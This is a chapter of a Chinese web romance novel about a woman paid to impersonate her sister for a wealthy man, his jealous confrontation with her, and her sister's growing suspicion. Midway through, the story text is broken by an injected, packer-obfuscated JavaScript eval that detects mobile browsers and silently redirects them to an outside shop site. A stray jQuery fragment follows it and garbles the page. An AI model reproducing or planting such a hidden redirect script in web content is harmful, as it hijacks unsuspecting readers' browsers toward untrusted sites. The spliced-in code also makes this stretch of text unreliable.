55. 发疯!
    谢安洋没有立即回答,用湿漉漉的桃花眼看着她,好像背后有条无形的尾巴在摇,像只急需被挑逗的小狗。

    余若鱼看着瞧着,又忍不住上手抚住他的脸。

    少年顺势轻轻握住她的手腕,将脸在她掌心温柔摩挲,如终于找到了据点般满足。

    在余若鱼欺近过来时,他就乖巧闭上了眼睛,仿佛沐浴净洗过后的祭品,等待她的尽情享用。

    余若鱼突然发现谢安洋是有点男妖精潜质的,诱惑着、勾引着,拉着她共同堕入那片欲望之海。

    但是。

    “不行哦。”她惊觉自己的嗓音竟然不自觉夹起,摸摸他的头,跟宠物毛孩子说话一般,“我要回去了。”

    谢安洋表露出失望,缓缓睁开眼:“姐姐是怕我不行吗?”

    在说完这句虎狼之词的下一秒,他就抓着她的指尖落有一吻,并且带有小小的吮吸。

    暧昧氛围持续扩大。

    余若鱼心底的那股异样再度被撩拨起来,不禁问出了口:“你真的没谈过恋爱吗?”

    怎么感觉那么会。

    谢安洋动作滞住,依依不舍松开余若鱼的手指,看过来的眼神深情而坚定:“真的没有。”

    ——那就是天生的撩拨圣体?

    余若鱼看着少年人天然无辜的样子,在脑中敲定了这个想法。

    大约是见她没有改变主意的意思,谢安洋没有再强求,轻轻啄吻了她的手指后就松开。

    “我送姐姐下去吧。”说完这句话,他转身进屋去拿了两件外套,动作轻柔展开那件白色的披在她肩上,“下过雨可能会凉——这是我新买的衣服,没有穿过的。”

    余若鱼发现他窘迫起来真的可以做到耳根一秒变红,连带着发梢都在紧张。

    就……更想欺负了。

    避免自己一冲动真的把这个好玩的少年带回别墅,余若鱼拒绝了谢安洋送她下楼的好意,穿着他的白色外套自行去了地下车库。

    刚出电梯就有一股寒风袭来,她急忙裹紧外套,觉得谢安洋真是有先见之明。

    余若鱼突然停步,远远发现她的兰博基尼附近靠着一个高大修长的人影。

    走近时发现是沈归狞。

    不知发生了什么,素来矜贵优雅的男人今日却是狼狈得浑身湿透,发丝寸寸滴落着雨水,一根点燃的烟草夹在指尖,尽显颓然。

    她走过来时,那双狭长的漆目就幽深如渊注视着她。

    余若鱼感觉到了沈归狞的气压很低,但没有在意,好奇的是这个时间她不是应该在和余兮兮吃晚饭吗。

    她迎着沈归狞审视的目光看过去,歪了歪头:“沈总怎么会在这儿?”

    “你穿的是谁的衣服?”男人从喉间挤出这句话,旋即熄灭了手中的烟草。

    余若鱼淡淡一笑,残酷地提醒他:“这是我的私人时间,跟沈总你没有关系。”

    沈归狞闻言倏地收紧手指。

    此时此刻,他的眼睛真的毫无光彩可言,薄唇勾起发出一声冷笑:“是嘛?”

    旋即男人摘下眼镜猛然欺近,宽大的男性手掌大力揽过她的腰。

    隔着两层衣服,余若鱼都能感受到雨水浸透的湿润和黏腻的凉意传递而来,眉头微微蹙起。

    “沈总在做什么?”她口吻挟有冷意,“这里可是有监控的。”

    男人似乎完全屏蔽了这句话,眼眸红得像只欲望满满的野兽,意识不到自己的气息究竟有多滚烫:“你现在满意了?让我移情别恋喜欢上你,这就是你的目的是吗?”

    余若鱼扬了扬眉,大概从这句话中整理出来几个重要信息点:沈归狞和余兮兮去吃过晚饭了,但是发现真正的余兮兮甚至没有她扮演的余兮兮讨人喜欢。

    这种落差感让他欲求不满,如一位急需治疗的瘾君子,不惜冒雨追着她的定位来到这里堵人。

    她嗤笑了一声,迎着沈归狞火热的眼神望去:“我是不是提醒过沈总,不要太情真意切。”

    沈归狞看着她这幅无动于衷的态度,愤怒得胸膛剧烈起伏几下。

    突然的情绪爆发,让他更加用力扣住她的腰,像是恨不得揉碎她的骨头。

    “好,你赢了。”男人声音黯哑起来,呼吸加重,“我承认戒不掉你,我离不开你——你现在可以满意了?”

    说着他的唇便倾覆了下来。

    但余若鱼将头一偏,轻飘飘就躲过了。

    “沈总知道被讨厌的人亲吻会有多恶心吗?”她在沈归狞耳畔冷冷说道,“尤其那个人还曾经伤害过自己。”

    沈归狞身体陡然一僵。

    趁着对方手劲有松弛,她后撤一步,挣脱开他的怀抱。

    “沈总不会都忘记对我曾经做过什么了吧?”

    沈归狞的表情有够复杂,仿佛被人狠狠打了一闷棍,气焰消失了大半。

    “再有,我和你的交易并不需要你移情别恋喜欢上我。”余若鱼对他摊了下手道,“我只是需要挣钱,仅此而已。是沈总你自己太入戏了,明知道那些是假的还愿意一头扎进去。”

    沈归狞很受伤地看着她。

    余若鱼足够冷静也足够残忍,清晰明确地告诉他:“并且因为沈总你移情别恋这个问题,我们的交易也只能到此为止了,基于[你不喜欢余兮兮了]这个前提,我也就没有再扮演她的必要。”

    沈归狞是个疯子,与他牵扯过深没什么好结果,还是就此叫停比较好。

    可是沈归狞却突然笑起来,带着一种平静的疯感,慢条斯理戴上金丝眼镜:“不可能,我不同意就不算交易结束。我对余兮兮并不是完全不喜欢,所以你还得继续替她——预约明天,一亿六千万我现在就能打给你。”

    余若鱼闻言盯他几秒,看在这笔巨款的面子上以及避免将这位疯子逼得狗急跳墙,她叹了口气:“明天不行,我有预约。”

    沈归狞好似完全收敛了疯意,敛目滑弄着手机:“谁?唐亦还是秦时樾,还是你身上这件衣服的主人?”

    余若鱼感觉沈归狞是非常想知道她和谁见了面的。

    他说后半句时甚至厌恶扫了一眼自己身上的衣服,但是克制着没有发火。

    余若鱼自然是对此缄默,自顾自抬起兰博基尼的车门,坐了进去。

    一号客户的巨额款项很快到达账户。

    ——最后再收割一波大的也挺好。

    反正余若鱼已经决定停止和沈归狞的交易了,干脆就敬业的给他的美梦画上一个句号吧,也算是有始有终了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361241|136289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……

    另一边,余兮兮实在不放心今天一反常态的沈归狞,拜托司机先给自己送到沈家别墅。

    ——沈归狞竟然在市中心的马路边就冒雨下车,浑身湿透拦了一辆出租车就不知道去了哪里。

    打电话也不接,信息也不回,很奇怪。

    但更奇怪的是,余兮兮进门时发现管家庄严看她的表情多了几分考究。

    对方很快就收起了目光,侧身请她进门:“余小姐请。”

    余兮兮还在琢磨自己是不是多想了,就发现整栋别墅里不仅是庄严,连屋子里负责打扫的几个佣人阿姨看她的表情也是微妙。

    虽然她们很快被庄严清走,但刚才那种赤裸裸的目光她是可以确认的。

    “我姐姐是不是来过这里?”在庄严端来一杯醇香的咖啡时,余兮兮好奇问道。

    这是她能够想到的唯一解释,她们两姐妹长得实在太像,才会引起周围人的打量。

    庄严迟疑了一下,在夹起一颗方糖投入咖啡的过程中想好了措辞:“偶尔会来。”

    余兮兮没有多想,毕竟姐姐是在卓然科技工作,偶尔来这里也是正常的。

    她捧着香浓的咖啡小酌一口,放下后捞起手机,准备再给沈归狞打电话问问情况。

    可沈归狞是关机的。

    现在外面下着暴雨,他一个人拦了辆出租车离开,电话又是关机的……总觉得这其中发生了什么。

    仔细想想,沈归狞从今晚这顿饭开始就变得奇怪了,总是在看着她愣神。

    那目光……简直像在透过她看见谁似的。

    余兮兮思考得越来越深,摩挲着手机愣神,突然就被用力砸过来的小食盘中断了思绪。

    小食盘里的坚果和进口糖果洒了出来。

    但佣人阿姨没有要收拾的意思,鼻孔朝天地看着她,意味不明扔下一句:“哼,装得还挺像。”

    “什么挺像?”余兮兮狐疑看她。

    佣人阿姨因为上次没看住余若鱼被扣了工资这事,心里一直憋着气,这次以为正主舞到她面前,当然要逞逞口舌之快:“我说你装你妹妹挺像的啊余若鱼,但假的就是假的,再装你也不可能……”

    她的话被匆匆挂断电话赶来的庄严的打断,眼神警告她赶紧下去。

    虽然佣人阿姨说得不是很清楚,但足以让余兮兮心底的疑问愈演愈烈。

    ——姐姐来过别墅这是肯定的,但应该不是庄严说的偶尔。

    不然这里的佣人阿姨不会对她这么颐指气使。

    可是为什么会对姐姐是这个恶劣态度?

    余兮兮这么想着,给余若鱼打去电话,电话却在响了十几声后自动挂断。

    姐姐没有接她的电话,不知道在忙什么。

    ——会在和沈归狞见面吗?

    余兮兮因为这个想法皱了皱眉,愈发觉得姐姐和沈归狞的关系不一般,急需获得一个答案。

    所以直到午夜她都没有离开别墅,靠着这杯咖啡打起精神,又给沈归狞打去电话。

    这次很快就通了,男人挟有醉意的嗓音传过来,模糊不清的重复着一句话。

    余兮兮仔细辨认过后发现他说的是:我要你现在过来陪我,余若鱼。